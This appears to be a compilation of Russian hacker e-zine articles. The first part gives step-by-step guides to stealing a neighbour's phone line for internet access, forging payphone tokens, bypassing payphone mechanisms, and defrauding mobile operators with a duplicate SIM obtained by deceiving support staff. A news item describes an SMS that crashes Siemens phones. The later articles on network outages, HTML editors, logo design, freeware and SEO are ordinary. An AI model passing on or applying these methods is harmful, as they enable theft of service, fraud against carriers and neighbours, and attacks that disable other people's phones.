Чувак у тебя в доме наверняка есть буржуи у которых халявный инет, лучше бы ты жил с ним в одном подъезде на одной лестничной клетке сейчас поймешь по чему. Тебе нужно прогуляться по подъезду и найти место куда подходят все телефонные провода ну и когда ты нашел это место берешь стремянку и пытаешься разобраться, всё должно пройти гладко без встречи с соседями (а то ты надеюсь догадываешься что когда начнут разбираться то под подозрение попадешь ты, если конечно не пальнут, то тут ты белый ангел ) Тебе нужен телефонный провод того самого буржуя (как ты его найдешь это уже не мои проблемы) так ну ладно допустим нашел(счастЛиФчик) Ту у тебя должен появиться вопрос :"Э-э-э и что я должен с ним делать?" А вот тут то всё и начинается.

Генерируем шнур.

Валим на базар и покупаем шнур (помнишь я говорил "Лучше бы ты жил с ним в одном подъезде на одной лестничной клетке")какой длинны решать тебе и твоему лопатнику Покупаешь шнур с двумя стандартными штекерами и два зажима под названием крокодил. А теперь счастливый и радостный та валишь домой и так чтоб пятки сверкали. Ты дома а значит чувачки из расформированного ФАПСИ ;) за тобой не следят. Берешь провод и со злобным хохотом отрываешь один штекер (слушай а ты мясником в той жизни не был) зачищаешь конец(я надеюсь ты сообразишь какой)и присоединяешь его с крокодайлом. Ну вот собственно говоря ты готов пофрикать их всех.
][@k them all.
И вот под покровом ночи ты выбираешься к тому месту где ты нашел провод твоего буржуя. Лезем к проводу и присоединяем крокодилов к проводу твоей жертвы, а другой штекер от первоначального целого провода суваешь в модем и тем самым доводишь его до оргазма, от чего он лезет в инет за счет твоего многоуважаемого буржуя!!!
P.S
Ладно бывай, а то пока я писал статью возле моего подъезда собралось пару отрядов озлобленных омоновцев годовых разорвать меня на атомы. Да чуть не забыл черкни о том какие бы ты хотел прочитать статьи и о чем .

.::OLdMan::. ICQ : 757906


Очередная уязвимость в сотовых телефонах Siemens
Как сообщает наш соотечественник subj из команды dwcgr0up, обнаружена очередная дыра в ПО телефонов Siemens. Cвязана она с возможностью переполнения буфера при посылке специальным образом оформленного SMS-сообщения. При приёме оного труба выключается с каким-то непонятным звуком. На этот раз уязвимость связана с некорректной обработкой тега вставки графического изображения. В обычном режиме картинка ввводится при помощи конструкции "%IMG_NAME". Однако, если вместо этого тега вставить 157 различных символов (например "%....") и послать счастливому обладателю Siemens - труба выключится с описанными выше симптомами. После включения станет недоступен пункт меню Messages-> Inbox. В самом сообщении пишется, что существует несколько уточнений: если вы попытаетсь с телефона аналогичной фирмы послать такое же сообщение - он выключится, уязвимость обнаружена в трубках 45-й серии, однако, возможно - она существует и в остальных моделях. Похоже, что-то не в порядке у Siemens с софтом для сотовых. Остаётся ждать новой прошивки от производителя.


Бесплатные звонки с таксофонов. Сборник рецептов(ч.1)
Отмазклеймер: Use of this material may shorten yor life in the free world! (C) Official Phreaker's Manual Автор не несет ответственности за использование данного материала!

Эта статья - краткий обзор некоторых методов "обращения"с таксофонами. Таксофоны являются весьма привлекательной целью для фрикинга. Сегодня в Росии установлено большое количество таксофонов самых разнообразных типов, и практически все они имеют "дыры", позволяющие звонить бесплатно. Даже начинающие могут успешно применять их в своей практике, со временем усовершенствуя старые и изобретая новые способы. Мы попытались изложить часть извесных нам методов, и получилось что-то типа обзора "how 2 do it EZ"

В доке речь пойдет о способах бесплатизации междугородных переговоров с жетонных и c карточных таксофонов (борьба с последними - тема отдельного большого разговора).

Старые жетоноядные твари (АМТ) еще не скоро исчезнут c лица Земли поэтому не мешает рассмотреть методы _правильного_ их использования, которые преследуют цель снижения прожорливости вплоть до сведения ее к нулю :)

Как устроен и работает междугородный АМТ? В общем АМТ состоит из разговорной схемы, номеронабирателя и испытател монет. Также имеется коробка для сбора монет.(это вы и без нас знали,да?) После набора первой цифры номера(или сразу после снятия трубки) АМТ отключает микрофон до тех пор, пока вы не нажмете кнопку "ответ".После нажатия микрофон включается и открывается защелка, удерживающая жетон. Тут возможны 3 исхода:

1.Если вы вдруг (случайно положили в монетоприемник настоящий жетон, то ваше богатство провалится в ненасытную глотку АМТ и вы сможете пару минут кричать в трубку, в паузах вслушиваясь в тревожный шум, сквозь который можно разобрать реплики собеседника. Если кто еще не понял, то это режим нормального разговора :)

2.Жетона не было - в этом случае связь оборвется через 2-3 с :(

3.Жетон был, но показался автомату несъедобным - произойдет то же, что в п.2. И не ждите что честно подделанный жетон вывалится назад - возврат монет в таксофонах упразднили где-то в начале 70-х годов.

Если же кнопку "ответ" не нажимать вообще, то микрофон не включится и ваш абонент будет недоуменно алекать на другом конце линии, не слыша вас.

Способы халявизации
Демонополизация процесса изготовления жетонов
Расплющите молотком свинцовую оболочку от телефонного кабеля до толщины ~0.5 мм (Это для тех жетонов, которые имеют параметры пятнадцатикопеечной монеты. Для других толщину придется подобрать экспериментально) Вырежьте обыкновенными ножницами шайбу необходимого диаметра. Не бойтесь затупить ножницы - свинец очень мягкий металл. Если в вашей местности используются гнутые рельефные жетоны, отформуйте шайбу,зажав ее плоскогубцами между двумя настоящими жетонами Теперь напильником снимите заусеницы - ...и смерть телефонной монополии! При небольшом навыке изготовление одной шайбы занимает менее 1 минуты. Если нет кабеля, можно использовать свинцовые грузила, припой, крупную дробь... Следует учесть, что автомат осуществляет проверку веса жетонов, хотя и довольно грубую. Поэтому слишком легкие или тяжелые шайбы могут не срабатывать.
Следующий способ взят из статьи SGWW о таксофонах.
Сделайте из плохо гнущейся проволоки подобие клюшки:

^^^^^^^^^^^^^^^^^^^^^^^^^^/
^^^^^^^^^^^^^^^^^^^^^^^^^/
---------------------------------------/ (Рис. в натуральную величину)
Опустите ее в щель загнутой частью направо и нащупайте рычажок в правой части автомата - при нажатии на рычажок микрофон включится. Однажды я видел как монтер, открыв автомат, звонил и нажимал на рычажок пальцем. Примерное местоположение рычажка внутри автомата отмечено на рисунке знаком "x":

/---\
_ /------|---|-\
/ \ | / |
| |_ | /м |
| | | \ |
| | | x |
| | | |
| | | |
| | | |
\ _ / | |
| \________/
В конструкции АМТ есть одна хитрость - рычажок прикрыт сверху подвижной металлической пластиной (знаки "/" на рис.), которая связана с рычагом трубки. Поэтому добираться до рычажка нужно осторожно: если вы подлезете вашей клюшкой под пластину и нечаянно ее подвините, связь сбросится. Казалось бы, проще всего нажать рычажок, засунув в щель лезвие перочинного ножа. Однако в этом случае пластина будет отодвинута и аппарат будет находится в таком же состоянии, как при повешенной трубке, либо ваш нож просто упрется в пластину и не достанет до рычажка. Монета скатывается по подвижной пластине "/", падает на другую, наклоненную в противоположную сторону "\" и уже по ней катится на рычажок. Такая кривая траектория движения выбрана специально, чтобы труднее было нажать рычажок каким-нибудь подручным предметом. При повешении трубки все эти пластины отодвигаются, и в контейнер падают застрявшие монеты и железные шайбы, задержанные по пути магнитом "м". Рисунок, конечно, дает лишь самое общее понятие об устройстве автомата, на самом деле все несколько по-другому и не поддается изображению в псевдографике. Например, крутизна наклона пластин гораздо меньше, чем на рисунке.


Бесплатные звонки с мобильных телефонов
Воспользовавшись этим багом, вы сможете делать БЕСПЛАТНЫЕ ЗВОНКИ, посылать БЕСПЛАТНЫЕ SMS, и даже пользоваться БЕСПЛАТНЫМ WAP'ом.

Первое - вы должны удостовериться, есть ли у вашего оператора сотовой связи баг. Просто позвоните по бесплатному номеру в службу поддержки и скажите, что ваша сим карта заблокирована, что вы забыли телефон в комнате вашей маленькой сестренки и что на дисплее вашего телефона написано: "Sim Card is locked" (Сим карта заблокирована) или что-то в этом роде. Скажите, что скорее всего ваша сестра набрала неверный puk, потому что телефон был выключен, а когда вы его обнаружили, он работал. Затем человек из технической поддержки скажет, что вам нужно приехать в один из их офисов и, описав ситуацию, вам выдадут еще одну симку с тем же номером телефона и с таким же количеством денег на счете. Спросите, сколько будет стоить эта операция и человек из тех. поддержки должен вам сказать, что это бесплатно ;)

Вам понадобится следующий материал:
- Мобильный телефон, любой кроме Nokia (лучше, чтобы он был ваш и заблокирован)
- И мобильный телефон Nokia (можно позаимствовать у друга)

Вот как проводится афера:

Мобильник1 = не Nokia
Мобтльник2 = Nokia

Вставь симку в Мобильник1 и введи pin-код. Когда мобильник загрузится, введи следующий код 3 раза:
**04*00000000*00000000*00000000#
или попробуй этот
**05*00000000*00000000*00000000#

Открой инструкцию и поищи в ней как сменить puk, если предыдущий пример не сработал. Или вы можете послать email компании Motorola (к примеру) и сказать, что у вас мобильный телефон Motorola, и что вы хотите сменить puk.

После того, как вы сменили puk, нужно заблокировать симку. Чтобы это сделать, вам нужно несколько раз ввести неверный pin, а затем и неверный puk и вуаля, сим-карта заблокирована. Запомните, все что вы делаете, на свой страх и риск!

Теперь идите в один из офисов сотового оператора и расскажите, что произошло (что ваша маленькая сестренка или дочь подружки матери или что-то в этом роде...). Затем они сделают дубликат вашей сим-карты и отдадут вам как старую (заблокированную), так и новую симку. То есть теперь у вас на руках две сим-карты.

Теперь самая легкая часть. Вставьте старую симку в мобильный телефон Nokia, включите телефон и смотрите... карта НЕ ЗАБЛОКИРОВАНА!!! Если вы вставите старую симку в другой телефон, не Nokia, то телефон скажет, что карта заблокирована. Баг скорее принадлежит Nokia, нежели сотовому оператору. Теперь попробуй послать sms, используя старую симку и посмотри, снимаются ли деньги со счета. Затем посмотри, снялись ли деньги с новой симкм. Если нет, то у вашего сотового оператора есть этот баг и вы можете тратить деньги со старой сим-карты, но у вас есть около 2 недель, до того, как оператор окончательно заблокирует симку (Новая sim-карта будет в рабочем состоянии и на ней по-прежнему будут деньги). Да, 2 недели - это не много, но кто мешает вам повторять эту операцию снова и снова... ;)

Этот баг тестировался на Portugal Vodafone Mobile Phone Network.

Кто будет этот баг тестировать, просьба выслать результаты мне на kamikadze@mazafaka.ru Создадим список уязвимых операторов.


Действия абонента при сбоях сети
Друзья!

Ну вот надоело наконец слушать/читать о том, что сеть имярек висит, или не висит, вся или не вся, я могу а вот парень рядом нет и прочая и прочая... и так каждый раз.

Мы ведь все с вами сейчас за компьютером и в сети (компьютерной - Интернет).

То есть, если присмотреться, то на примере обычной компьютерной сети и поведения компьютера в ней, с которым каждый в обнимку часов по несколько в день, можно было бы уже давно понять несколько простых вещей.

а) Компьютерная сеть состоит из нескольких машин (априори). И прогресс в развитии сетей направлен на то, в частности, чтобы повысить их надёжность. Т.е. если выходит из строя одна (любая), чтобы это, по возможности, не затрагивало остальные, ну чтобы хоть какие-нибудь работали. Признайтесь, вы ведь слышали, что вот "оператор имярек ввёл новый коммутатор который бла бла бла повысит и бла бла бла улучшит". Уже, наверное, понятно: сотовая сеть может "лечь" "полностью" только в том месте, где всего один коммутатор (или + какое-нибудь ещё уникальное устройство, которое отвечает за возможность совершения звонка со стороны сети), во всех остальных случаях она будет где-то работать, где-то нет - в зависимости от того, какие части и насколько "зависли". Что мы и наблюдаем. Если кто-то говорит, что не получается звонить, и таких несколько, то это значит, что проблема все же есть. И если этот кто-то - ты сам, а те, которых несколько - люди, которые рядом матерятся и кидаются телефонами, что ж, значит тебе сегодня не повезло...

б) Вы когда-нибудь видели, как зависает компьютер? Да видели, видели... А видели, что очень часто несмотря на то, что он не хочет исполнять программу, которую вы запустили, он реагирует на нажатия клавиш, курсор мышки успешно перемешается (и видно, что он на что-то явно нажимает, но, например, с опозданием...), и вообще, если его не трогать он может и "развиснуть" (ну, если мы говорим о старых системах "haute MS", то редко, ой редко...). А между прочим, коммутатор - это тоже компьютерная система, и мы все это понимаем.

Что же следует из этой аналогии? А то, что, во-первых, если у вас не получается позвонить с первого - третьего раза, то не факт, что у вас не получится это раза с 20 - 40 (ну, если уж так нужно! - кто ищет - обрящет, кто хочет - получит и т.п.). Но тут уж без гарантий - вы же не знаете, когда все началось и насколько плохо уже обстоят дела.

Во-вторых, все вокруг тоже перенабирают по несколько раз и нагрузка на бедный "компьютер" возрастает многократно (вспомните, как вы пытались на начавшем подавать признаки зависания компе переключиться в окно с тяжёлой игрушкой, чтобы разгрузить ресурсы системы - не получается, затем - в окно с Вордом, чтобы попробовать успеть сохранить документ, над которым работали весь предыдущий час @:-E). Т.е. во всём виноваты пользователи (люди только мешают, путаются под ногами (с) Юлий Ким). Ну, конечно не во всём...

В-третьих, парню рядом может просто повезло позвонить не с 30 раза, а с 1-го. И это хороший признак, значит и вам может повезти. Звоните. И не важно, что это завалит в очередной раз коммутатор, это не ваши проблемы. Более того, парень который сидит где надо и рулит процессом знает, что вы будете действовать именно так. И сделает всё, чтобы не дать системе упасть снова. Как? Да очень просто - ограничить нагрузку. Типа защищённого режима в компьютере - на хрен нам звуки и прочая шняга, когда нужно, чтобы оно просто работало, но уж точно работало... Т.е. оператор имярек везде трубит, что на самом деле всё работает, а звонить почему-то не получается - это нормально. Потому что все вокруг вас тоже звонят и объясняют всем своим знакомым, что их оператор - полное Г. и они задолбались и уйдут в ... {подполье}. Проблемы в сети сказываются ещё довольно долго. Ну, в общем из этого можно понаделать ещё кучу выводов, предоставлю вам этот вдохновляющий процесс..

в) Ну, вообще-то, и вы сами не совсем бессильны перед лицом нагло зависшего ОПСОСа. Если совсем ничего не получается, попробуйте помочь себе сами, сделав манипуляцию со своим "компьютером" - сотовым телефоном - может, всё уже починилось, а это его самого глючит. Как мы лечим зависший компьютер? Правильно, Reset. Сделайте перезагрузку аппарату (не касается несчастных владельцев аппаратов Alcatel и Philips и некоторых других, у которых нет этой возможности), попробуйте выключить и включить его снова, ещё во всех аппаратах есть такая функция, как ручной выбор сети, в принципе, то же, что и выкл/вкл, но только может работать немного по-другому. И - вы будете смеяться, но - не стесняйтесь делать это несколько раз, например, раз в 10 минут. Вполне вероятно, вы будете одним из первых, кто сможет прозвониться.

Кстати, звонить - это не единственная возможность решить хотя бы частично проблему общения. Если рядом есть работающий телефон - попробуйте поставить на него абсолютную переадресацию. Попробуйте послать SMS - оно вполне может пройти. Кстати, как совершенно правильно было замечено, когда голос лежит - GPRS летает. Вполне вероятно, что у вас получится послать через WAP который через GPRS e-mail (ну, это изврат для счастливых и пытливых обладателей хороших аппаратов).

г) Ну, если уж совсем ничего не помогает, и проблемы продолжаются слишком долго - позвоните в абонентскую службу. При этом вы будете не единственным, кто столкнулся с проблемой. И от того, что вы будете кипятиться, предъявлять претензии - в общем срывать свою злость на человеке, который с вами говорит - будет только хуже. И не важно, что он деньги получает за то, чтобы от вас всё это выслушивать. Если вы по-человечески - то и к вам по-человечески. Если вы орёте - вам оно аукнется. Как? вы даже знать не будете. И не будут делать никаких гадостей. вам просто не помогут, как могли бы. Ласковый телёнок... (не знаете этой народной мудрости? Ну-ну..)

Конечно, бывают исключения. Как в плюс, так и в минус. Ну, что же, перезвоните ещё раз, вам точно повезёт (хм, несовместимые понятия, "точно повезёт", не правда ли? Я бы сделал акцент на "точно") поговорить с человеком, который вам поможет. Почему? А вот вы сами как относитесь к своей работе? Если вам сказать, что вы полное дерьмо и работа ваша коту под хвост - вы (по крайней мере про себя) найдёте 1000 причин почему это не так, где бы вы ни работали (если только не собираетесь уходить с этой работы на этой неделе). И если вы в чём-то можете оправдаться или исправить ситуацию или мнение по своему поводу и вам предоставят возможность это сделать - вы c радостью (я надеюсь) ей воспользуетесь. И будете ещё чувствовать свою победу (или полезность), если удастся убедить оппонента что вы не (совсем) Г. Ну так сами не гните пальцы и не капайте слюной на пол, и прислушивайтесь к тому, что вам говорят в АС, они именно этим и занимаются.

д) Далее. Если вы в здравом уме и твёрдой памяти оказались в ситуации, когда у вас всё в этой жизни зависит от звонка на ваш сотовый, то это ваши проблемы (кстати, можно много на первый взгляд обидного по этому поводу написать). Это совершенно объективная реальность и не относится к сотовой сети. Это относится к вашей психологии и только к ней. Это практически значит, что вы положили все свои яйца в одну корзину, вложили все свои деньги в один банк, пока гром не грянул не перекрестились и т.д. и т.п.

Именно для таких людей, как вы, написаны законы Мерфи и прочая народная мудрость, а громы всё гремят, и яйца всё разбиваются. Ну зачем звонить в абонентскую службу и благим матом ... пожалейте свои нервные клетки. Задумайтесь: вы ведь своими ушами слышали о том, что оператор имярек "висел" и раньше, и другой тоже висел. И компьютер ваш висел не раз. И вы наслышаны ведь о том, что они не могут не висеть, это очень сложные системы, а чем система сложнее, тем выше вероятность того, что с ней что-то случиться. Знаем? Знаем. И это случится обязательно.

Вывод - думайте как Филиас Фог, подстрахуйтесь, особенно в важных случаях. Купите SIM другого оператора - вы заметили, что все сети одновременно не лежат? А, вам жалко денег... Ну, на худой конец купите карточку МГТС и носите в собой, вдруг рядом всё-таки будет таксофон. Смотрите в область печени проходящим мимо - там может висеть ваше спасение в виде работающего телефона, если вы прилично выглядите и будете убедительны, вам обязательно дадут позвонить и денег не попросят. Пусть связь будет односторонней, но она будет.

Заключение

Пять перечисленных выше пунктов - это не более чем просто повод ещё раз задуматься о современном мире - таком удобном, но таком коварном и изменчивом. Как в нём жить - радуясь или печалясь - зависит только от вас. Не расстраивайтесь по пустякам. Не расстраивайтесь вовсе. И что бы не происходило - не отчаивайтесь! Думайте, пробуйте, импровизируйте, и всё у вас получится.


Поговорим о редакторах HTML

Редакторов HTML такое немереное количество, что нет никакой возможности обозреть их целиком даже в десяти колонках. Поэтому буду говорить только о том, что сам пробовал.

Насущная, каждодневная потребность в HTML-редакторе возникла у меня пару лет назад. Тогда я и начал перелопачивать эти программы одну за другой. Причем надо мной постоянно довлел снобский жупел о том, что лучший редактор - это Notepad. Многие хакерские (и не только) сайты до сих пор с гордостью украшают свои странички надписями типа "Powered by Notepad". Круто, конечно, но не каждому подойдет. Дело в том, что многие люди просто не способны к линейному творчеству. Им доступен лишь образный ряд, с которым они только и могут работать.

Я имею в виду следующее. Дело вовсе не в том, что для работы с так называемыми текстовыми редакторами нужно знать язык HTML. Синтаксис основных тегов нужно знать в любом случае. Проблема заключена в ассоциативном ряде: когда я, например, смотрю на чистый лист бумаги, в мою несчастную голову приходит только одна мысль - написать что-нибудь непристойное. Другое дело, человек с линейными ассоциациями: он напишет формулу (знак, тег, крючок, букву), к ней прицепит следующую, затем - третью, четвертую и так далее. При этом он будет постоянно удерживать в голове целостную картину создаваемого им мира. Такой способ мышления свойствен 99% всех программистов (наверное, в силу такого мышления они и стали программистами). Остальное же население Земли воспринимает мир в наглядных образах: вместо знака мне нужна картинка, к которой я затем прибавлю другую картинку и так далее. На мой взгляд, существует целый ряд равноценных текстовых редакторов HTML высокого полета, а именно: HomeSite; HotDogProfessional; HoTMetalPro.

Каким-то непостижимым образом все эти программы начинаются на букву "х" (к чему бы это?). Разумеется, все три пакета - нечто гораздо большее, чем просто текстовый редактор (в противном случае я и в самом деле порекомендовал бы виндусовый "Блокнот"). Все три "хэ" состоят из двух модулей: непосредственно текстового редактора и просмотрового окна. В качестве последнего выступает либо сторонний браузер, либо какой-нибудь встроенный вьюер, например, Rover в HotDog'е. В любом случае редакторы этой группы отличает алгоритм работы: вы пишете вебстраницу на уровне тегов, портируемых модулей, вставок готового кода и т. п., а затем просматриваете полученный результат в браузере.

У такого подхода множество неоспоримых преимуществ и только один недостаток: человек с нелинейными ассоциациями работать так не сумеет.

Поскольку нас, неполноценных нелинейных уродов, подавляющее большинство, то мы и поворотили свои очи в сторону так называемых WYSIWYG-редакторов HTML (WYSIWYG - What You See Is What You Get, "что видишь, то и имеешь"). Несмотря на то, что визуальных редакторов HTML едва ли не меньше, чем текстовых, львиную долю пользователей оттянул на себя микрософтовский FrontPage. Какое-то время биллгатусы пытались приучить пользователей писать вебстранички прямо в Word'e, но почему-то это не прижилось (хотя сама идея создания текстов любого формата в одном приложении мне очень нравится). И тогда появился отдельный клиент для создания HTML - FrontPage, который благополучно вошел в состав MS Office.

Как и все у "Микрософта", FrontPage развивается семимильными шагами, что не может не вызывать восхищения. Первые выпуски FrontPage оставляли шоковое впечатление: вы писали 1 килобайт текста, а программа кодировала его в 1 мегабайт мусора. Даже предыдущая версия - FrontPage 98, импортируя код, переделывала его до неузнаваемости, вернее, подгоняла под свои стандарты. Я, конечно, утрирую по части объема в килобайтах, но ранние релизы FrontPage несли такую отсебятину и всовывали такое количество немыслимого кода, что это было уже не смешно. Сегодня мир наслаждается FrontPage 2000 - серьезной платформой для создания вебстраниц WYSIWYG, а в следующем году будет наслаждаться версией FrontPage 10. Микрософтовский клиент продолжает впихивать свой собственный код, но уже в гораздо более умеренных объемах, что соизмеримо с работой других WYSIWYG-редакторов: хотите чистенький код, учитесь линейному мышлению.

Моя главная и извечная претензия к FrontPage - та же, что и ко всем остальным микрософтовским продуктам: назойливое поползновение думать вместо меня. Все эти скрепки-дебиляшки со своими подсказками, "облегчалки", "визарды" и т. п. Я понимаю, что "Микрософт" тут не при чем: он ориентирован на рынок своих соотечественников, которые не опечалены стигматом индивидуальности и любят, когда с ними нянчатся. Я просто хочу сказать: это не для меня. Соответственно, и не для тех моих читателей, которые испытывают раздражение, когда их держат за идиотов.

Короче говоря, если среди читателей найдутся люди амбициозные, я с гордостью рекомендую им профессиональный редактор HTML - Dreamweaver 4 или MX компании Macromedia. У "Ткача мечты" (так можно перевести "dreamweaver") есть только один недостаток - немалая цена (299 долларов). Однако за эти деньги вы получаете программу, не уступающую FrontPage 2000 по легкости использования, но на порядок превосходящую в гибкости и возможностях не только микрософтоский клиент, но и вообще все, что есть на рынке. Не буду приводить нескончаемый список того, что может делать Dreamweaver. Предлагаю читателю поверить мне на слово: эта программа может делать все!

С другой стороны, сравнение Dreamweaver с FrontPage 2000 не вполне корректно (хотя и часто предпринимается в Интернете). Несмотря на попытку позиционировать себя в качестве профессионального клиента FrontPage таковым не является. Поэтому если единственной вашей задачей является создание домашней странички с собственной фотографией и автобиографией, то вообще суетиться не следует - FrontPage хватит за глаза. Да что там FrontPage, встроенного редактора Netscape более чем достаточно. Глобальное отличие FrontPage от Dreamweaver - в философии. Микрософтовский клиент исходит из предположения, что пользователь абсолютно не способен породить код HTML самостоятельно, поэтому программа должна сделать это за него. Клиент "Макромедии" полагает, что пользователь все может сделать сам, а программа призвана создать максимально комфортные условия для творчества, обставить рабочее место. Поэтому выбор между двумя программами - не что иное, как выбор жизненного стиля.


Создание профессионального логотипа компании

Логотип — это изображение, которое представляет компанию или ее продукт. Его задача состоит в том, чтобы произвести впечатление и остаться в памяти потенциального клиента или покупателя. Логотип является важной составляющей имиджа организации.

Что же делает логотип по-настоящему хорошим? Многие ответят: «Я легко пойму это, когда увижу!», и они не далеки от истины. Хороший логотип привлекает внимание, возбуждает в наблюдателе любопытство и заинтересованность на мгновение, в течение которого изображение и связанная с ним информация о компании запоминаются посетителем, а не отфильтровываются вместе с остальной ненужной информацией, полученной за день. Но, даже если нельзя сказать заранее хорошим ли будет логотип, существуют способы приближения к идеалу… и мы рассмотрим некоторые из них. А также обсудим некоторые аспекты создания логотипов для двух различных измерений — печати и интернета.

Существует три основополагающих типа логотипов, которые могут использоваться в дизайне совместно или поотдельности:

иллюстративные логотипы, которые четко иллюстрируют деятельность компании, графические логотипы; содержат графические элементы, часто абстрактные, которые символизируют деятельность компании, шрифтовые логотипы — текстовые обращения, представляющее компанию (видимо, имеются ввиду слоганы — прим. перев.). Создание логотипа — это всегда многоэтапный процесс, хотя некоторые дизайнеры действуют по-другому. Однако большинство дизайнеров начнет с набросков общего вида или с работы над геометрическими формами будущего логотипа, пока не найдет интересной идеи и уже будет разрабатывать ее до готовой работы. Один из способов начать работу — выбрать форму будущего изображения, представляющего компанию, и начать изменять эту форму, «играть» с ней. Идея в том, чтобы прийти к чему-либо интересному и необычному — будет ли это взгляд на обыденные вещи под необычным углом или интересная комбинация форм. Возможно это будет небольшая загадка для наблюдателя, которая раскроется ему при пристальном взгляде.

Многие дизайнеры предпочитают создавать логотипы, начиная с текстовой составляющей, или же целиком только текстовые логотипы. Экспериментируя с шрифтами, их размером и формой, они ищут интересный способ представления компании через форму букв. В данном случае чрезвычайно важна простота и доступность; это не тот случай, когда стоит использовать вычурные декоративные шрифты. Не важно, используется ли один текст или он сочетается с графикой, необходимо, чтобы текст логотипа был читаем даже при маленьких размерах.

После того, как вы определились с формой логотипа, стоит подумать о цвете. Опять же, палитра логотипа должна быть достаточно простой. Впоследствии работу можно «раскрасить» отдельно для использования на веб-сайте компании, однако хороший логотип должен выполнять свою задачу и в пределах одного цвета и его градиентов. Цвет должен усиливать и поддерживать впечатление, заложенное в форму логотипа, как пример — оттенки голубого цвета на сторонах 3D-модели коробки должны имитировать реальное распределение цветов и тени. Контраст — еще один важный для создания логотипов аспект. Для привлечения внимания к логотипу можно использовать контраст размеров, цветов, шрифтов, текстур… Логотип должен быть простым и абстрактным, но никогда — сложным и запутанным, и — снова напоминание — все элементы должны быть различимы при малом размере изображения.

Хороший логотип работает даже при самом простом представлении. С распространением интернета в логотипах стало возможно использовать градиенты, трехмерные эффекты, анимацию и прочие «спец. эффекты», однако, если логотип нельзя упростить до плоской монохромной версии для использования на факсах, чеках или печатных документах, то он бесполезен. Всеми силами стараясь создать очень «навороченный» логотип, дизайнер должен помнить о всех возможных путях его распространения как символа компании. После того, как это условие будет выполнено, всегда можно «разукрасить» логотип специально для использования в интернете!

Как уже упоминалось, в процессе работы над логотипом очень важно учитывать его будущий размер. Основное правило — если логотип отлично выглядит даже на визитной карточке, то его легко можно масштабировать для использования на других носителях. Перед сдачей работы необходимо убедиться, как она выглядит на бумаге и при различных — больших и малых — размерах.

Интернет и бумага — две совершенно разные среды. Если вы начинающий, необходимо помнить, что логотип, в первую очередь, должен быть расчитан на печать и лишь потом — на интернет. Не вдаваясь в подробности разрешающей способности при печати и на мониторе, достаточно сказать, что она сильно различается. То, что нормально смотрится на мониторе, при печати может стать размером с почтовую марку и потерять форму и смысл. Логотип, созданный только в расчете на веб-сайт, в зависимости от формата может очень плохо масштабироваться для печати. Таким образом, лучше разрабатывать логотип «с запасом» масштабируемости, впоследствии разрешение всегда можно будет уменьшить.

Выбирая цветовую палитру для работы, вам возможно стоит остановиться на универсальной безопасной 216-цветной палитре, поддерживаемой всеми интернет-браузерами (сейчас эта проблема уже неактуальна — прим. перев.). Это даст гарантию, что цвета, отождествляемые с вашей компанией, могут быть перенесены в интернет без искажений.

С другой стороны, интернет позволяет взять простой одно- или двухцветный логотип и хорошенько над ним поработать и — в отличие от печатной среды — не надо тратить дополнительно тысячи долларов, чтобы добавить цвет, анимацию или 3D. После того, как логотип уже создан в своей самой простой и общей форме, он может быть изменен самыми различными способами специально для использования на веб-сайте компании. Просто убедитесь, что вы не слишком увлечены дополнительными возможностями, пока не будет готов логотип, который будет представлять вашу компанию на простой визитной карточке!


Программы для веб "Графика и дизайн"
FotoAlbum 2.8
Награда: 4.5
 Размер: 1412 КБ Лицензия: бесплатно Рус.интерфейс: да
Системы: Windows XP, Windows NT, Windows 98, Windows ME, Windows 2000
Эта программа поможет Вам с легкостью создавать фотоальбомы. Имеет простой и доступный интерфейс, возможность применения различных фильтров к фотографиям, добавления комментариев и многое другое. Поддержка технологии text-to-speech.

IrfanView 3.92
Награда: 5
 Размер: 856 КБ Лицензия: бесплатно Рус.интерфейс: нет
Системы: Windows XP, Windows NT, Windows 98, Windows 95, Windows ME, Windows 2000
Очень мощная программа просмотра и редактирования изображений. Поддерживает более 30 форматов файлов, плагины, конвертацию изображений, различные режимы просмотра и многое другое.

deja vu Picture Viewer 2.70
Награда: 4
 Размер: 913 КБ Лицензия: бесплатно Рус.интерфейс: да
Системы: Windows XP, Windows NT, Windows 98, Windows 95, Windows ME, Windows 2000, Windows 2003 Server
deja vu Picture Viewer - компактный просмоторщик растровых изображений с удобным пользовательским интерфейсом и джентльменским набором графических функций. Легковесный, и в тоже время достаточно мощный, этот графический просмоторщик хорошо подходит как для навигации по графическим файлам, так и для их преобразования, в том числе файлов с цифровых фотокамер.

ScreenDiscoverer 1.5
Награда: 4
 Размер: 2084 КБ Лицензия: условно-бесплатно Рус.интерфейс: нет
Системы: Windows XP, Windows NT, Windows 98, Windows ME, Windows 2000
Программа для создания скриншотов (снимков экрана).


Сайты доноры - источники траффика

Очень часто случается так, что большой популярностью пользуются сайты не столько качественные, сколько хорошо раскрученные. На самом деле это никакой ни парадокс, а вполне нормальная закономерность. Причем я уверен, вы и без меня это давно знаете. Я только попрошу вас понять меня правильно, я не призываю бросать трудиться над качеством и заниматься раскруткой, нет, просто необходимо отвести время и на качество и на раскрутку, т.к. если хоть один из этих двух факторов будет обделен вниманием, то успешное существование сайта обречено. Такое вступление я завел к тому, что сейчас я хочу поговорить не о качественной стороне вопроса, а о так сказать, количественной.

Метод, который будет рассмотрен в этой статье, подойдет для очень ограниченного круга людей. Т.к. не у всех хватит сил и терпения довести все до логического завершения, но метод имеет право на существование.

Суть идеи вот в чем: создается один или несколько очень крупных сайтов, на них размещаются баннеры, а накопленные баннерные показы используются для рекламы главного сайта.

Сначала определимся, что нам нужно:

Главный, качественный сайт (он может быть совсем небольшим). Несколько второстепенных сайтов с элементами оптимизации для поисковых систем. Очень много сил и терпения. Подробно остановимся на пункте 2), т.к. предполагается, что с 1) и 3) все нормально.

Нужно несколько (чем больше - тем лучше) крупных контент-сайтов, тематика любая (кроме эротики и порно). На сайтах должно быть очень много текстовой информации, желательно чтобы все это еще и выглядело прилично.Это все будут сайты - доноры.

Вы спросите:"Но ведь сайты доноры тоже раскручивать надо, для того чтобы на них баннерные показы копить" - верно, но не совсем. На полноценную раскрутку силы тратить не нужно, т.к. много сил и времени уйдет на создание этих сайтов. Вся надежда на поисковые системы, т.е. после создания сайтов, вы их регистрируете в поисковых системах. Рано или поздно они будут проиндексированы. Для более успешной и полной индексации делайте карты сайтов, т.е. страницы со ссылками на все (или часть) других страниц.

